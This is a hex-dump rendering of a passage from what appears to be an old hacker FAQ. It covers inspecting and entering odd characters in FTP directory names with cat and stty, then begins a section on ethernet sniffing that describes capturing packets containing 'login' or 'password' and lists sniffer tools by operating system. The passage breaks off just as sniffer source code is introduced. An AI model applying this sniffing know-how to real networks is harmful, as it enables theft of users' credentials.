|000053a0| 20 69 6e 20 66 69 6c 65 | 6e 61 6d 65 73 20 61 73 | in file|names as|
|000053b0| 20 74 68 65 0d 0a 09 20 | 63 68 61 72 61 63 74 65 | the... |characte|
|000053c0| 72 20 60 60 3f 27 27 2e | 0d 0a 0d 0a 20 20 20 20 |r ``?''.|.... |
|000053d0| 2d 62 20 20 20 46 6f 72 | 63 65 73 20 70 72 69 6e |-b For|ces prin|
|000053e0| 74 69 6e 67 20 6f 66 20 | 6e 6f 6e 2d 67 72 61 70 |ting of |non-grap|
|000053f0| 68 69 63 20 63 68 61 72 | 61 63 74 65 72 73 20 69 |hic char|acters i|
|00005400| 6e 20 74 68 65 20 5c 64 | 64 64 0d 0a 09 20 6e 6f |n the \d|dd... no|
|00005410| 74 61 74 69 6f 6e 2c 20 | 69 6e 20 6f 63 74 61 6c |tation, |in octal|
|00005420| 2e 0d 0a 0d 0a 50 65 72 | 68 61 70 73 20 74 68 65 |.....Per|haps the|
|00005430| 20 6d 6f 73 74 20 75 73 | 65 66 75 6c 20 74 6f 6f | most us|eful too|
|00005440| 6c 20 69 73 20 74 6f 20 | 73 69 6d 70 6c 79 20 64 |l is to |simply d|
|00005450| 6f 20 61 6e 20 22 6c 73 | 20 2d 61 6c 20 66 69 6c |o an "ls| -al fil|
|00005460| 65 6e 61 6d 65 22 20 74 | 6f 0d 0a 73 61 76 65 20 |ename" t|o..save |
|00005470| 74 68 65 20 64 69 72 65 | 63 74 6f 72 79 20 6f 66 |the dire|ctory of|
|00005480| 20 74 68 65 20 72 65 6d | 6f 74 65 20 66 74 70 20 | the rem|ote ftp |
|00005490| 73 69 74 65 20 61 73 20 | 61 20 66 69 6c 65 20 6f |site as |a file o|
|000054a0| 6e 20 79 6f 75 72 20 6c | 6f 63 61 6c 0d 0a 6d 61 |n your l|ocal..ma|
|000054b0| 63 68 69 6e 65 2e 20 20 | 54 68 65 6e 20 79 6f 75 |chine. |Then you|
|000054c0| 20 63 61 6e 20 64 6f 20 | 61 20 22 63 61 74 20 2d | can do |a "cat -|
|000054d0| 74 20 2d 76 20 2d 65 20 | 66 69 6c 65 6e 61 6d 65 |t -v -e |filename|
|000054e0| 22 20 74 6f 6f 20 73 65 | 65 20 65 78 61 63 74 6c |" too se|e exactl|
|000054f0| 79 0d 0a 77 68 61 74 20 | 74 68 6f 73 65 20 62 69 |y..what |those bi|
|00005500| 7a 61 72 72 65 20 6c 69 | 74 74 6c 65 20 63 68 61 |zarre li|ttle cha|
|00005510| 72 61 63 74 65 72 73 20 | 61 72 65 2e 0d 0a 0d 0a |racters |are.....|
|00005520| 46 72 6f 6d 20 74 68 65 | 20 6d 61 6e 20 70 61 67 |From the| man pag|
|00005530| 65 20 66 6f 72 20 63 61 | 74 3a 0d 0a 0d 0a 20 20 |e for ca|t:.... |
|00005540| 20 20 2d 76 20 20 43 61 | 75 73 65 73 20 6e 6f 6e | -v Ca|uses non|
|00005550| 2d 70 72 69 6e 74 69 6e | 67 20 63 68 61 72 61 63 |-printin|g charac|
|00005560| 74 65 72 73 20 28 77 69 | 74 68 20 74 68 65 20 65 |ters (wi|th the e|
|00005570| 78 63 65 70 74 69 6f 6e | 20 6f 66 20 74 61 62 73 |xception| of tabs|
|00005580| 2c 0d 0a 09 6e 65 77 6c | 69 6e 65 73 2c 20 61 6e |,...newl|ines, an|
|00005590| 64 20 66 6f 72 6d 20 66 | 65 65 64 73 29 20 74 6f |d form f|eeds) to|
|000055a0| 20 62 65 20 64 69 73 70 | 6c 61 79 65 64 2e 20 20 | be disp|layed. |
|000055b0| 43 6f 6e 74 72 6f 6c 20 | 63 68 61 72 61 63 74 65 |Control |characte|
|000055c0| 72 73 0d 0a 09 61 72 65 | 20 64 69 73 70 6c 61 79 |rs...are| display|
|000055d0| 65 64 20 61 73 20 5e 58 | 20 28 3c 43 74 72 6c 3e |ed as ^X| (<Ctrl>|
|000055e0| 78 29 2c 20 77 68 65 72 | 65 20 58 20 69 73 20 74 |x), wher|e X is t|
|000055f0| 68 65 20 6b 65 79 20 70 | 72 65 73 73 65 64 20 77 |he key p|ressed w|
|00005600| 69 74 68 0d 0a 09 74 68 | 65 20 3c 43 74 72 6c 3e |ith...th|e <Ctrl>|
|00005610| 20 6b 65 79 20 28 66 6f | 72 20 65 78 61 6d 70 6c | key (fo|r exampl|
|00005620| 65 2c 20 3c 43 74 72 6c | 3e 6d 20 69 73 20 64 69 |e, <Ctrl|>m is di|
|00005630| 73 70 6c 61 79 65 64 20 | 61 73 20 5e 4d 29 2e 20 |splayed |as ^M). |
|00005640| 20 54 68 65 0d 0a 09 3c | 44 65 6c 3e 20 63 68 61 | The...<|Del> cha|
|00005650| 72 61 63 74 65 72 20 28 | 6f 63 74 61 6c 20 30 31 |racter (|octal 01|
|00005660| 37 37 29 20 69 73 20 70 | 72 69 6e 74 65 64 20 61 |77) is p|rinted a|
|00005670| 73 20 5e 3f 2e 20 20 4e | 6f 6e 2d 41 53 43 49 49 |s ^?. N|on-ASCII|
|00005680| 0d 0a 09 63 68 61 72 61 | 63 74 65 72 73 20 28 77 |...chara|cters (w|
|00005690| 69 74 68 20 74 68 65 20 | 68 69 67 68 20 62 69 74 |ith the |high bit|
|000056a0| 20 73 65 74 29 20 61 72 | 65 20 70 72 69 6e 74 65 | set) ar|e printe|
|000056b0| 64 20 61 73 20 4d 20 2d | 78 2c 20 77 68 65 72 65 |d as M -|x, where|
|000056c0| 0d 0a 09 78 20 69 73 20 | 74 68 65 20 63 68 61 72 |...x is |the char|
|000056d0| 61 63 74 65 72 20 73 70 | 65 63 69 66 69 65 64 20 |acter sp|ecified |
|000056e0| 62 79 20 74 68 65 20 73 | 65 76 65 6e 20 6c 6f 77 |by the s|even low|
|000056f0| 20 6f 72 64 65 72 20 62 | 69 74 73 2e 0d 0a 0d 0a | order b|its.....|
|00005700| 20 20 20 20 2d 74 20 20 | 43 61 75 73 65 73 20 74 | -t |Causes t|
|00005710| 61 62 73 20 74 6f 20 62 | 65 20 70 72 69 6e 74 65 |abs to b|e printe|
|00005720| 64 20 61 73 20 5e 49 20 | 61 6e 64 20 66 6f 72 6d |d as ^I |and form|
|00005730| 20 66 65 65 64 73 20 61 | 73 20 5e 4c 2e 20 20 54 | feeds a|s ^L. T|
|00005740| 68 69 73 0d 0a 09 6f 70 | 74 69 6f 6e 20 69 73 20 |his...op|tion is |
|00005750| 69 67 6e 6f 72 65 64 20 | 69 66 20 74 68 65 20 2d |ignored |if the -|
|00005760| 76 20 6f 70 74 69 6f 6e | 20 69 73 20 6e 6f 74 20 |v option| is not |
|00005770| 73 70 65 63 69 66 69 65 | 64 2e 0d 0a 0d 0a 20 20 |specifie|d..... |
|00005780| 20 20 2d 65 20 20 43 61 | 75 73 65 73 20 61 20 60 | -e Ca|uses a `|
|00005790| 60 24 27 27 20 63 68 61 | 72 61 63 74 65 72 20 74 |`$'' cha|racter t|
|000057a0| 6f 20 62 65 20 70 72 69 | 6e 74 65 64 20 61 74 20 |o be pri|nted at |
|000057b0| 74 68 65 20 65 6e 64 20 | 6f 66 20 65 61 63 68 20 |the end |of each |
|000057c0| 6c 69 6e 65 0d 0a 09 28 | 70 72 69 6f 72 20 74 6f |line...(|prior to|
|000057d0| 20 74 68 65 20 6e 65 77 | 2d 6c 69 6e 65 29 2e 20 | the new|-line). |
|000057e0| 20 54 68 69 73 20 6f 70 | 74 69 6f 6e 20 69 73 20 | This op|tion is |
|000057f0| 69 67 6e 6f 72 65 64 20 | 69 66 20 74 68 65 20 2d |ignored |if the -|
|00005800| 76 0d 0a 09 6f 70 74 69 | 6f 6e 20 69 73 20 6e 6f |v...opti|on is no|
|00005810| 74 20 73 65 74 2e 0d 0a | 0d 0a 49 66 20 74 68 65 |t set...|..If the|
|00005820| 20 64 69 72 65 63 74 6f | 72 79 20 6e 61 6d 65 20 | directo|ry name |
|00005830| 69 6e 63 6c 75 64 65 73 | 20 61 20 3c 53 50 41 43 |includes| a <SPAC|
|00005840| 45 3e 20 6f 72 20 61 20 | 3c 54 41 42 3e 20 79 6f |E> or a |<TAB> yo|
|00005850| 75 20 77 69 6c 6c 20 6e | 65 65 64 20 74 6f 0d 0a |u will n|eed to..|
|00005860| 65 6e 63 6c 6f 73 65 20 | 74 68 65 20 65 6e 74 69 |enclose |the enti|
|00005870| 72 65 20 64 69 72 65 63 | 74 6f 72 79 20 6e 61 6d |re direc|tory nam|
|00005880| 65 20 69 6e 20 71 75 6f | 74 65 73 2e 20 20 45 78 |e in quo|tes. Ex|
|00005890| 61 6d 70 6c 65 3a 0d 0a | 0d 0a 63 64 20 22 2e 2e |ample:..|..cd "..|
|000058a0| 3c 54 41 42 3e 22 0d 0a | 0d 0a 4f 6e 20 61 6e 20 |<TAB>"..|..On an |
|000058b0| 49 42 4d 2d 50 43 2c 20 | 79 6f 75 20 6d 61 79 20 |IBM-PC, |you may |
|000058c0| 65 6e 74 65 72 20 74 68 | 65 73 65 20 73 70 65 63 |enter th|ese spec|
|000058d0| 69 61 6c 20 63 68 61 72 | 61 63 74 65 72 73 20 62 |ial char|acters b|
|000058e0| 79 20 68 6f 6c 64 69 6e | 67 20 64 6f 77 6e 0d 0a |y holdin|g down..|
|000058f0| 74 68 65 20 3c 41 4c 54 | 3e 20 6b 65 79 20 61 6e |the <ALT|> key an|
|00005900| 64 20 65 6e 74 65 72 69 | 6e 67 20 74 68 65 20 64 |d enteri|ng the d|
|00005910| 65 63 69 6d 61 6c 20 76 | 61 6c 75 65 20 6f 66 20 |ecimal v|alue of |
|00005920| 74 68 65 20 73 70 65 63 | 69 61 6c 20 63 68 61 72 |the spec|ial char|
|00005930| 61 63 74 65 72 0d 0a 6f | 6e 20 79 6f 75 72 20 6e |acter..o|n your n|
|00005940| 75 6d 65 72 69 63 20 6b | 65 79 70 61 64 2e 20 20 |umeric k|eypad. |
|00005950| 57 68 65 6e 20 79 6f 75 | 20 72 65 6c 65 61 73 65 |When you| release|
|00005960| 20 74 68 65 20 3c 41 4c | 54 3e 20 6b 65 79 2c 20 | the <AL|T> key, |
|00005970| 74 68 65 20 73 70 65 63 | 69 61 6c 0d 0a 63 68 61 |the spec|ial..cha|
|00005980| 72 61 63 74 65 72 20 73 | 68 6f 75 6c 64 20 61 70 |racter s|hould ap|
|00005990| 70 65 61 72 20 6f 6e 20 | 79 6f 75 72 20 73 63 72 |pear on |your scr|
|000059a0| 65 65 6e 2e 20 20 41 6e | 20 41 53 43 49 49 20 63 |een. An| ASCII c|
|000059b0| 68 61 72 74 20 63 61 6e | 20 62 65 20 76 65 72 79 |hart can| be very|
|000059c0| 0d 0a 68 65 6c 70 66 75 | 6c 2e 0d 0a 0d 0a 53 6f |..helpfu|l.....So|
|000059d0| 6d 65 74 69 6d 65 73 20 | 70 65 6f 70 6c 65 20 77 |metimes |people w|
|000059e0| 69 6c 6c 20 63 72 65 61 | 74 65 20 64 69 72 65 63 |ill crea|te direc|
|000059f0| 74 6f 72 69 65 73 20 77 | 69 74 68 20 73 6f 6d 65 |tories w|ith some|
|00005a00| 20 6f 66 20 74 68 65 20 | 73 74 61 6e 64 61 72 64 | of the |standard|
|00005a10| 0d 0a 73 74 74 79 20 63 | 6f 6e 74 72 6f 6c 20 63 |..stty c|ontrol c|
|00005a20| 68 61 72 61 63 74 65 72 | 73 20 69 6e 20 74 68 65 |haracter|s in the|
|00005a30| 6d 2c 20 73 75 63 68 20 | 61 73 20 5e 5a 20 28 73 |m, such |as ^Z (s|
|00005a40| 75 73 70 65 6e 64 29 20 | 6f 72 20 5e 43 20 28 69 |uspend) |or ^C (i|
|00005a50| 6e 74 72 29 2e 0d 0a 54 | 6f 20 67 65 74 20 69 6e |ntr)...T|o get in|
|00005a60| 74 6f 20 74 68 6f 73 65 | 20 64 69 72 65 63 74 6f |to those| directo|
|00005a70| 72 69 65 73 2c 20 79 6f | 75 20 77 69 6c 6c 20 66 |ries, yo|u will f|
|00005a80| 69 72 73 74 20 6e 65 65 | 64 20 74 6f 20 75 73 65 |irst nee|d to use|
|00005a90| 72 20 73 74 74 79 20 74 | 6f 0d 0a 63 68 61 6e 67 |r stty t|o..chang|
|00005aa0| 65 20 74 68 65 20 63 6f | 6e 74 72 6f 6c 20 63 68 |e the co|ntrol ch|
|00005ab0| 61 72 61 63 74 65 72 20 | 69 6e 20 71 75 73 74 69 |aracter |in qusti|
|00005ac0| 6f 6e 20 74 6f 20 61 6e | 6f 74 68 65 72 20 63 68 |on to an|other ch|
|00005ad0| 61 72 61 63 74 65 72 2e | 0d 0a 0d 0a 46 72 6f 6d |aracter.|....From|
|00005ae0| 20 74 68 65 20 6d 61 6e | 20 70 61 67 65 20 66 6f | the man| page fo|
|00005af0| 72 20 73 74 74 79 3a 0d | 0a 0d 0a 20 20 20 20 43 |r stty:.|... C|
|00005b00| 6f 6e 74 72 6f 6c 20 61 | 73 73 69 67 6e 6d 65 6e |ontrol a|ssignmen|
|00005b10| 74 73 0d 0a 0d 0a 20 20 | 20 20 63 6f 6e 74 72 6f |ts.... | contro|
|00005b20| 6c 2d 63 68 61 72 61 63 | 74 65 72 20 43 0d 0a 20 |l-charac|ter C.. |
|00005b30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005b40| 20 20 20 20 20 53 65 74 | 73 20 63 6f 6e 74 72 6f | Set|s contro|
|00005b50| 6c 2d 63 68 61 72 61 63 | 74 65 72 20 74 6f 20 43 |l-charac|ter to C|
|00005b60| 2c 20 77 68 65 72 65 20 | 63 6f 6e 74 72 6f 6c 2d |, where |control-|
|00005b70| 63 68 61 72 61 63 74 65 | 72 20 69 73 0d 0a 20 20 |characte|r is.. |
|00005b80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005b90| 20 20 20 20 65 72 61 73 | 65 2c 20 6b 69 6c 6c 2c | eras|e, kill,|
|00005ba0| 20 69 6e 74 72 20 28 69 | 6e 74 65 72 72 75 70 74 | intr (i|nterrupt|
|00005bb0| 29 2c 20 71 75 69 74 2c | 20 65 6f 66 2c 20 65 6f |), quit,| eof, eo|
|00005bc0| 6c 2c 20 73 77 74 63 68 | 0d 0a 20 20 20 20 20 20 |l, swtch|.. |
|00005bd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005be0| 28 73 77 69 74 63 68 29 | 2c 20 73 74 61 72 74 2c |(switch)|, start,|
|00005bf0| 20 73 74 6f 70 20 6f 72 | 20 73 75 73 70 2e 0d 0a | stop or| susp...|
|00005c00| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00005c10| 20 20 20 20 20 20 20 20 | 73 74 61 72 74 20 61 6e | |start an|
|00005c20| 64 20 73 74 6f 70 20 61 | 72 65 20 61 76 61 69 6c |d stop a|re avail|
|00005c30| 61 62 6c 65 20 61 73 20 | 70 6f 73 73 69 62 6c 65 |able as |possible|
|00005c40| 20 63 6f 6e 74 72 6f 6c | 20 63 68 61 72 2d 0d 0a | control| char-..|
|00005c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005c60| 20 20 20 20 20 20 61 63 | 74 65 72 73 20 66 6f 72 | ac|ters for|
|00005c70| 20 74 68 65 20 63 6f 6e | 74 72 6f 6c 2d 63 68 61 | the con|trol-cha|
|00005c80| 72 61 63 74 65 72 20 43 | 20 61 73 73 69 67 6e 6d |racter C| assignm|
|00005c90| 65 6e 74 2e 0d 0a 0d 0a | 20 20 20 20 20 20 20 20 |ent.....| |
|00005ca0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 49 66 | | If|
|00005cb0| 20 43 20 69 73 20 70 72 | 65 63 65 64 65 64 20 62 | C is pr|eceded b|
|00005cc0| 79 20 61 20 63 61 72 65 | 74 20 28 5e 29 20 28 65 |y a care|t (^) (e|
|00005cd0| 73 63 61 70 65 64 20 66 | 72 6f 6d 20 74 68 65 0d |scaped f|rom the.|
|00005ce0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00005cf0| 20 20 20 20 20 20 20 73 | 68 65 6c 6c 29 2c 20 74 | s|hell), t|
|00005d00| 68 65 6e 20 74 68 65 20 | 76 61 6c 75 65 20 75 73 |hen the |value us|
|00005d10| 65 64 20 69 73 20 74 68 | 65 20 63 6f 72 72 65 73 |ed is th|e corres|
|00005d20| 70 6f 6e 64 69 6e 67 20 | 63 6f 6e 2d 0d 0a 20 20 |ponding |con-.. |
|00005d30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005d40| 20 20 20 20 74 72 6f 6c | 20 63 68 61 72 61 63 74 | trol| charact|
|00005d50| 65 72 20 28 66 6f 72 20 | 65 78 61 6d 70 6c 65 2c |er (for |example,|
|00005d60| 20 5e 44 20 69 73 20 61 | 20 3c 43 74 72 6c 3e 64 | ^D is a| <Ctrl>d|
|00005d70| 3b 20 5e 3f 20 69 73 0d | 0a 20 20 20 20 20 20 20 |; ^? is.|. |
|00005d80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 69 | | i|
|00005d90| 6e 74 65 72 70 72 65 74 | 65 64 20 61 73 20 44 45 |nterpret|ed as DE|
|00005da0| 4c 45 54 45 20 61 6e 64 | 20 5e 2d 20 69 73 20 69 |LETE and| ^- is i|
|00005db0| 6e 74 65 72 70 72 65 74 | 65 64 20 61 73 20 75 6e |nterpret|ed as un|
|00005dc0| 64 65 2d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |de-.. | |
|00005dd0| 20 20 20 20 20 20 20 20 | 20 20 20 66 69 6e 65 64 | | fined|
|00005de0| 29 2e 0d 0a 0d 0a 55 73 | 65 20 74 68 65 20 73 74 |).....Us|e the st|
|00005df0| 74 79 20 2d 61 20 63 6f | 6d 6d 61 6e 64 20 74 6f |ty -a co|mmand to|
|00005e00| 20 73 65 65 20 79 6f 75 | 72 20 63 75 72 72 65 6e | see you|r curren|
|00005e10| 74 20 73 74 74 79 20 73 | 65 74 74 69 6e 67 73 2c |t stty s|ettings,|
|00005e20| 20 61 6e 64 20 74 6f 0d | 0a 64 65 74 65 72 6d 69 | and to.|.determi|
|00005e30| 6e 65 20 77 68 69 63 68 | 20 6f 6e 65 20 69 73 20 |ne which| one is |
|00005e40| 63 61 75 73 69 6e 67 20 | 79 6f 75 20 70 72 6f 62 |causing |you prob|
|00005e50| 6c 65 6d 73 2e 0d 0a 0d | 0a 0d 0a 31 37 2e 20 57 |lems....|...17. W|
|00005e60| 68 61 74 20 69 73 20 65 | 74 68 65 72 6e 65 74 20 |hat is e|thernet |
|00005e70| 73 6e 69 66 66 69 6e 67 | 3f 0d 0a 0d 0a 45 74 68 |sniffing|?....Eth|
|00005e80| 65 72 6e 65 74 20 73 6e | 69 66 66 69 6e 67 20 69 |ernet sn|iffing i|
|00005e90| 73 20 6c 69 73 74 65 6e | 69 6e 67 20 28 77 69 74 |s listen|ing (wit|
|00005ea0| 68 20 73 6f 66 74 77 61 | 72 65 29 20 74 6f 20 74 |h softwa|re) to t|
|00005eb0| 68 65 20 72 61 77 20 65 | 74 68 65 72 6e 65 74 0d |he raw e|thernet.|
|00005ec0| 0a 64 65 76 69 63 65 20 | 66 6f 72 20 70 61 63 6b |.device |for pack|
|00005ed0| 65 74 73 20 74 68 61 74 | 20 69 6e 74 65 72 65 73 |ets that| interes|
|00005ee0| 74 20 79 6f 75 2e 20 20 | 57 68 65 6e 20 79 6f 75 |t you. |When you|
|00005ef0| 72 20 73 6f 66 74 77 61 | 72 65 20 73 65 65 73 20 |r softwa|re sees |
|00005f00| 61 0d 0a 70 61 63 6b 65 | 74 20 74 68 61 74 20 66 |a..packe|t that f|
|00005f10| 69 74 73 20 63 65 72 74 | 61 69 6e 20 63 72 69 74 |its cert|ain crit|
|00005f20| 65 72 69 61 2c 20 69 74 | 20 6c 6f 67 73 20 69 74 |eria, it| logs it|
|00005f30| 20 74 6f 20 61 20 66 69 | 6c 65 2e 20 20 54 68 65 | to a fi|le. The|
|00005f40| 20 6d 6f 73 74 0d 0a 63 | 6f 6d 6d 6f 6e 20 63 72 | most..c|ommon cr|
|00005f50| 69 74 65 72 69 61 20 66 | 6f 72 20 61 6e 20 69 6e |iteria f|or an in|
|00005f60| 74 65 72 65 73 74 69 6e | 67 20 70 61 63 6b 65 74 |terestin|g packet|
|00005f70| 20 69 73 20 6f 6e 65 20 | 74 68 61 74 20 63 6f 6e | is one |that con|
|00005f80| 74 61 69 6e 73 20 77 6f | 72 64 73 0d 0a 6c 69 6b |tains wo|rds..lik|
|00005f90| 65 20 22 6c 6f 67 69 6e | 22 20 6f 72 20 22 70 61 |e "login|" or "pa|
|00005fa0| 73 73 77 6f 72 64 2e 22 | 0d 0a 0d 0a 4d 61 6e 79 |ssword."|....Many|
|00005fb0| 20 65 74 68 65 72 6e 65 | 74 20 73 6e 69 66 66 65 | etherne|t sniffe|
|00005fc0| 72 73 20 61 72 65 20 61 | 76 61 69 6c 61 62 6c 65 |rs are a|vailable|
|00005fd0| 2c 20 68 65 72 65 20 61 | 72 65 20 61 20 66 65 77 |, here a|re a few|
|00005fe0| 20 74 68 61 74 20 6d 61 | 79 20 62 65 20 6f 6e 0d | that ma|y be on.|
|00005ff0| 0a 79 6f 75 72 20 73 79 | 73 74 65 6d 20 6e 6f 77 |.your sy|stem now|
|00006000| 3a 0d 0a 0d 0a 4f 53 20 | 20 20 20 20 20 20 20 20 |:....OS | |
|00006010| 20 20 20 20 20 53 6e 69 | 66 66 65 72 0d 0a 7e 7e | Sni|ffer..~~|
|00006020| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 7e 7e | | ~~|
|00006030| 7e 7e 7e 7e 7e 0d 0a 48 | 50 2f 55 58 20 20 20 20 |~~~~~..H|P/UX |
|00006040| 20 20 20 20 20 20 20 6e | 65 74 74 6c 20 28 6d 6f | n|ettl (mo|
|00006050| 6e 69 74 6f 72 29 20 26 | 20 6e 65 74 66 6d 74 20 |nitor) &| netfmt |
|00006060| 28 64 69 73 70 6c 61 79 | 29 0d 0a 20 20 20 20 20 |(display|).. |
|00006070| 20 20 20 20 20 20 20 20 | 20 20 20 6e 66 73 77 61 | | nfswa|
|00006080| 74 63 68 20 20 20 20 20 | 20 20 20 2f 2a 20 41 76 |tch | /* Av|
|00006090| 61 69 6c 61 62 6c 65 20 | 76 69 61 20 61 6e 6f 6e |ailable |via anon|
|000060a0| 79 6d 6f 75 73 20 66 74 | 70 20 20 20 20 20 20 20 |ymous ft|p |
|000060b0| 20 20 20 20 2a 2f 0d 0a | 49 72 69 78 20 20 20 20 | */..|Irix |
|000060c0| 20 20 20 20 20 20 20 20 | 6e 66 73 77 61 74 63 68 | |nfswatch|
|000060d0| 20 20 20 20 20 20 20 20 | 2f 2a 20 41 76 61 69 6c | |/* Avail|
|000060e0| 61 62 6c 65 20 76 69 61 | 20 61 6e 6f 6e 79 6d 6f |able via| anonymo|
|000060f0| 75 73 20 66 74 70 20 20 | 20 20 20 20 20 20 20 20 |us ftp | |
|00006100| 20 2a 2f 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | */.. | |
|00006110| 20 20 20 20 20 45 74 68 | 65 72 6d 61 6e 0d 0a 53 | Eth|erman..S|
|00006120| 75 6e 4f 53 20 20 20 20 | 20 20 20 20 20 20 20 65 |unOS | e|
|00006130| 74 68 65 72 66 69 6e 64 | 0d 0a 20 20 20 20 20 20 |therfind|.. |
|00006140| 20 20 20 20 20 20 20 20 | 20 20 6e 66 73 77 61 74 | | nfswat|
|00006150| 63 68 20 20 20 20 20 20 | 20 20 2f 2a 20 41 76 61 |ch | /* Ava|
|00006160| 69 6c 61 62 6c 65 20 76 | 69 61 20 61 6e 6f 6e 79 |ilable v|ia anony|
|00006170| 6d 6f 75 73 20 66 74 70 | 20 20 20 20 20 20 20 20 |mous ftp| |
|00006180| 20 20 20 2a 2f 0d 0a 53 | 6f 6c 61 72 69 73 20 20 | */..S|olaris |
|00006190| 20 20 20 20 20 20 20 73 | 6e 6f 6f 70 0d 0a 44 4f | s|noop..DO|
|000061a0| 53 20 20 20 20 20 20 20 | 20 20 20 20 20 20 45 54 |S | ET|
|000061b0| 48 4c 4f 41 44 20 20 20 | 20 20 20 20 20 20 2f 2a |HLOAD | /*|
|000061c0| 20 41 76 61 69 6c 61 62 | 6c 65 20 76 69 61 20 61 | Availab|le via a|
|000061d0| 6e 6f 6e 79 6d 6f 75 73 | 20 66 74 70 20 61 73 20 |nonymous| ftp as |
|000061e0| 20 20 20 20 20 20 20 2a | 2f 0d 0a 20 20 20 20 20 | *|/.. |
|000061f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006200| 20 20 20 20 20 20 20 20 | 20 20 20 2f 2a 20 65 74 | | /* et|
|00006210| 68 6c 64 31 30 34 2e 7a | 69 70 20 20 20 20 20 20 |hld104.z|ip |
|00006220| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006230| 20 20 20 20 2a 2f 0d 0a | 20 20 20 20 20 20 20 20 | */..| |
|00006240| 20 20 20 20 20 20 20 20 | 54 68 65 20 47 6f 62 62 | |The Gobb|
|00006250| 6c 65 72 20 20 20 20 20 | 2f 2a 20 41 76 61 69 6c |ler |/* Avail|
|00006260| 61 62 6c 65 20 76 69 61 | 20 61 6e 6f 6e 79 6d 6f |able via| anonymo|
|00006270| 75 73 20 66 74 70 20 20 | 20 20 20 20 20 20 20 20 |us ftp | |
|00006280| 20 2a 2f 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | */.. | |
|00006290| 20 20 20 20 20 4c 61 6e | 50 61 74 72 6f 6c 0d 0a | Lan|Patrol..|
|000062a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000062b0| 4c 61 6e 57 61 74 63 68 | 0d 0a 09 09 4e 65 74 6d |LanWatch|....Netm|
|000062c0| 6f 6e 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |on.. | |
|000062d0| 20 20 20 20 4e 65 74 77 | 61 74 63 68 0d 0a 20 20 | Netw|atch.. |
|000062e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 4e 65 | | Ne|
|000062f0| 74 7a 68 61 63 6b 20 20 | 20 20 20 20 20 20 2f 2a |tzhack | /*|
|00006300| 20 41 76 61 69 6c 61 62 | 6c 65 20 76 69 61 20 61 | Availab|le via a|
|00006310| 6e 6f 6e 79 6d 6f 75 73 | 20 66 74 70 20 61 74 20 |nonymous| ftp at |
|00006320| 20 20 20 20 20 20 20 2a | 2f 0d 0a 20 20 20 20 20 | *|/.. |
|00006330| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006340| 20 20 20 20 20 20 20 20 | 20 20 20 2f 2a 20 6d 69 | | /* mi|
|00006350| 73 74 72 65 73 73 2e 69 | 6e 66 6f 72 6d 61 74 69 |stress.i|nformati|
|00006360| 6b 2e 75 6e 69 62 77 2d | 6d 75 65 6e 63 68 65 6e |k.unibw-|muenchen|
|00006370| 2e 64 65 20 2a 2f 0d 0a | 20 20 20 20 20 20 20 20 |.de */..| |
|00006380| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006390| 20 20 20 20 20 20 20 20 | 2f 2a 20 2f 70 75 62 2f | |/* /pub/|
|000063a0| 6e 65 74 7a 68 61 63 6b | 2e 6d 61 63 20 20 20 20 |netzhack|.mac |
|000063b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000063c0| 20 2a 2f 0d 0a 4d 61 63 | 69 6e 74 6f 73 68 20 20 | */..Mac|intosh |
|000063d0| 20 20 20 20 20 45 74 68 | 65 72 70 65 65 6b 0d 0a | Eth|erpeek..|
|000063e0| 0d 0a 48 65 72 65 20 69 | 73 20 73 6f 75 72 63 65 |..Here i|s source|
|000063f0| 20 63 6f 64 65 20 66 6f | 72 20 61 6e 20 65 74 68 | code fo|r an eth|
+--------+-------------------------+-------------------------+--------+--------+
Only 25.0 KB of data is shown above.